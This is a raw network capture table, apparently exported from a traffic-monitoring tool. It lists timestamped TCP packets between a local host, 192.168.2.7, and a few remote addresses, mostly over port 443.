Nov 20, 2024 17:41:57.132705927 CET	443	49787	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.132752895 CET	49787	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.133095026 CET	49787	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.133117914 CET	443	49787	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.133143902 CET	49787	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.133152008 CET	443	49787	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.136270046 CET	49801	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.136359930 CET	443	49801	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.136447906 CET	49801	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.136678934 CET	49801	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.136712074 CET	443	49801	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.159682035 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.159739017 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.159795046 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.160669088 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.160669088 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.160700083 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.160727024 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.162839890 CET	443	49786	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.162899971 CET	443	49786	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.162955999 CET	49786	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.163352966 CET	49786	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.163353920 CET	49786	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.163368940 CET	443	49786	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.163388014 CET	443	49786	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.165802002 CET	49802	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.165847063 CET	443	49802	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.165956020 CET	49803	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.165961027 CET	49802	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.166012049 CET	443	49803	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.166076899 CET	49803	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.166318893 CET	49803	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.166337013 CET	49802	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.166347027 CET	443	49803	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.166352034 CET	443	49802	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.227278948 CET	443	49784	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.227475882 CET	443	49784	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.227598906 CET	49784	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.227719069 CET	49784	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.227734089 CET	443	49784	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.227763891 CET	49784	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.227778912 CET	443	49784	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.231615067 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.231632948 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.231699944 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.232346058 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:57.232356071 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.464781046 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:58.628144979 CET	443	49797	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.629409075 CET	49797	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:58.629425049 CET	443	49797	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.630038977 CET	49797	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:58.630043030 CET	443	49797	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.890712023 CET	443	49802	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.891836882 CET	443	49803	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.925384998 CET	443	49801	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.937699080 CET	49802	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:58.937756062 CET	49803	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:58.956429005 CET	49802	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:58.956444025 CET	443	49802	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.957362890 CET	49802	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:58.957370043 CET	443	49802	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.958076000 CET	49803	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:58.958087921 CET	443	49803	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.958579063 CET	49803	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:58.958583117 CET	443	49803	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.960810900 CET	49801	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:58.960830927 CET	443	49801	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:58.961287022 CET	49801	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:58.961292982 CET	443	49801	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.074043036 CET	443	49797	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.074243069 CET	443	49797	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.074394941 CET	49797	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.074532986 CET	49797	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.074547052 CET	443	49797	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.074561119 CET	49797	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.074568033 CET	443	49797	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.078057051 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.078105927 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.078162909 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.078690052 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.078726053 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.121592999 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.122266054 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.122297049 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.123063087 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.123070002 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.167972088 CET	49806	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:41:59.168004990 CET	443	49806	142.250.181.68	192.168.2.7
Nov 20, 2024 17:41:59.168080091 CET	49806	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:41:59.168395996 CET	49806	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:41:59.168406010 CET	443	49806	142.250.181.68	192.168.2.7
Nov 20, 2024 17:41:59.331273079 CET	443	49802	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.331335068 CET	443	49802	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.331425905 CET	49802	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.332056046 CET	49802	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.332078934 CET	443	49802	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.332081079 CET	49802	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.332089901 CET	443	49802	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.333394051 CET	443	49803	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.333462954 CET	443	49803	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.333509922 CET	49803	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.334155083 CET	49803	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.334168911 CET	443	49803	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.334181070 CET	49803	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.334187031 CET	443	49803	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.342207909 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.342228889 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.342299938 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.342443943 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.342458010 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.342658997 CET	49810	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.342680931 CET	443	49810	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.342735052 CET	49810	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.342817068 CET	49810	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.342825890 CET	443	49810	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.380717993 CET	443	49801	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.380789995 CET	443	49801	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.380836010 CET	49801	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.381213903 CET	49801	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.381223917 CET	443	49801	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.381251097 CET	49801	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.381253958 CET	443	49801	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.383914948 CET	49811	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.383934975 CET	443	49811	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.383999109 CET	49811	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.384181023 CET	49811	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.384188890 CET	443	49811	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.505690098 CET	49812	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:41:59.505726099 CET	443	49812	2.18.84.141	192.168.2.7
Nov 20, 2024 17:41:59.505880117 CET	49812	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:41:59.507167101 CET	49812	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:41:59.507181883 CET	443	49812	2.18.84.141	192.168.2.7
Nov 20, 2024 17:41:59.740885973 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.741043091 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.741134882 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.741447926 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.741466045 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.741477966 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.741485119 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.745423079 CET	49813	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.745445967 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:59.745511055 CET	49813	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.745820999 CET	49813	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:59.745836973 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:00.931788921 CET	443	49812	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:00.931864977 CET	49812	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:00.934931040 CET	49812	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:00.934945107 CET	443	49812	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:00.935220003 CET	443	49812	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:00.976528883 CET	49812	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:01.016937971 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.023336887 CET	443	49812	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:01.030955076 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.031008959 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.031491995 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.031506062 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.086308956 CET	443	49806	142.250.181.68	192.168.2.7
Nov 20, 2024 17:42:01.105556011 CET	49806	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:42:01.105567932 CET	443	49806	142.250.181.68	192.168.2.7
Nov 20, 2024 17:42:01.109359980 CET	443	49806	142.250.181.68	192.168.2.7
Nov 20, 2024 17:42:01.109432936 CET	49806	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:42:01.110373020 CET	49806	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:42:01.110560894 CET	443	49806	142.250.181.68	192.168.2.7
Nov 20, 2024 17:42:01.148005009 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.151873112 CET	49806	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:42:01.151880980 CET	443	49806	142.250.181.68	192.168.2.7
Nov 20, 2024 17:42:01.162523985 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.162558079 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.163237095 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.163243055 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.200633049 CET	49806	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:42:01.273307085 CET	443	49810	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.290860891 CET	443	49811	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.319468975 CET	49810	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.321898937 CET	49810	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.321918011 CET	443	49810	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.322942972 CET	49810	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.322951078 CET	443	49810	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.333707094 CET	49811	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.477360010 CET	49811	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.477368116 CET	443	49811	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.477937937 CET	49811	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.477941990 CET	443	49811	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.566934109 CET	443	49812	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:01.567002058 CET	443	49812	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:01.567074060 CET	49812	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:01.567426920 CET	49812	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:01.567441940 CET	443	49812	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:01.567461967 CET	49812	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:01.567467928 CET	443	49812	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:01.601241112 CET	49814	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:01.601269960 CET	443	49814	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:01.601372957 CET	49814	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:01.601680994 CET	49814	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:01.601695061 CET	443	49814	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:01.621778965 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.621944904 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.622042894 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.622216940 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.622262955 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.622292042 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.622308969 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.625987053 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.626019955 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.626126051 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.626352072 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.626368999 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.637061119 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.637456894 CET	49813	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.637475967 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.637908936 CET	49813	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.637914896 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.640330076 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.640360117 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.640414000 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.640433073 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.640603065 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.640618086 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.640625000 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.640777111 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.640815973 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.640866041 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.644362926 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.644414902 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.644491911 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.644608974 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.644627094 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.940051079 CET	443	49811	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.940141916 CET	443	49811	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.940370083 CET	49811	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.940416098 CET	49811	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.940433025 CET	443	49811	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.940462112 CET	49811	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.940468073 CET	443	49811	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.944807053 CET	49819	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.944886923 CET	443	49819	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:01.945000887 CET	49819	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.945177078 CET	49819	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:01.945209980 CET	443	49819	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.157421112 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.157473087 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.157521963 CET	49813	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.157541990 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.158067942 CET	49813	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.158085108 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.158261061 CET	49813	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.158477068 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.158562899 CET	443	49813	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.158720970 CET	49813	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.162393093 CET	49820	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.162432909 CET	443	49820	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.162583113 CET	49820	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.162688017 CET	49820	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.162698984 CET	443	49820	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.292665005 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.292695045 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.292794943 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.292999983 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.293015957 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.324842930 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.324876070 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:02.324965000 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.325155020 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:02.325166941 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.053368092 CET	443	49814	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:03.053493977 CET	49814	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:03.054887056 CET	49814	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:03.054893017 CET	443	49814	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:03.055207014 CET	443	49814	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:03.056519985 CET	49814	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:03.103329897 CET	443	49814	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:03.377119064 CET	443	49810	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.377393007 CET	443	49810	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.377464056 CET	49810	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.380809069 CET	49810	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.380845070 CET	443	49810	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.380855083 CET	49810	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.380861044 CET	443	49810	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.384598017 CET	49823	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.384620905 CET	443	49823	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.384815931 CET	49823	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.384979963 CET	49823	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.384994030 CET	443	49823	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.406712055 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.409939051 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.409960985 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.410531044 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.410537004 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.466739893 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.467423916 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.467453003 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.468173027 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.468179941 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.618180037 CET	443	49814	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:03.618263960 CET	443	49814	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:03.618324041 CET	49814	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:03.620286942 CET	49814	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:03.620301008 CET	443	49814	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:03.620310068 CET	49814	443	192.168.2.7	2.18.84.141
Nov 20, 2024 17:42:03.620316029 CET	443	49814	2.18.84.141	192.168.2.7
Nov 20, 2024 17:42:03.739432096 CET	443	49819	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.781689882 CET	49819	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.846764088 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.846790075 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.847198963 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.847245932 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.847877026 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.851200104 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.914817095 CET	49819	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.914844036 CET	443	49819	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.916245937 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.916301966 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.916495085 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.916515112 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.916560888 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.920808077 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.920937061 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.921231985 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.937635899 CET	49819	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.937657118 CET	443	49819	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.941185951 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.941226959 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.941329956 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.941339016 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.943115950 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.943133116 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:03.943226099 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:03.943233013 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.016820908 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.020114899 CET	443	49820	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.067814112 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.067819118 CET	49820	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.120162010 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.143834114 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.143841028 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.144198895 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.144220114 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.145901918 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.145957947 CET	49822	443	192.168.2.7	13.107.246.63
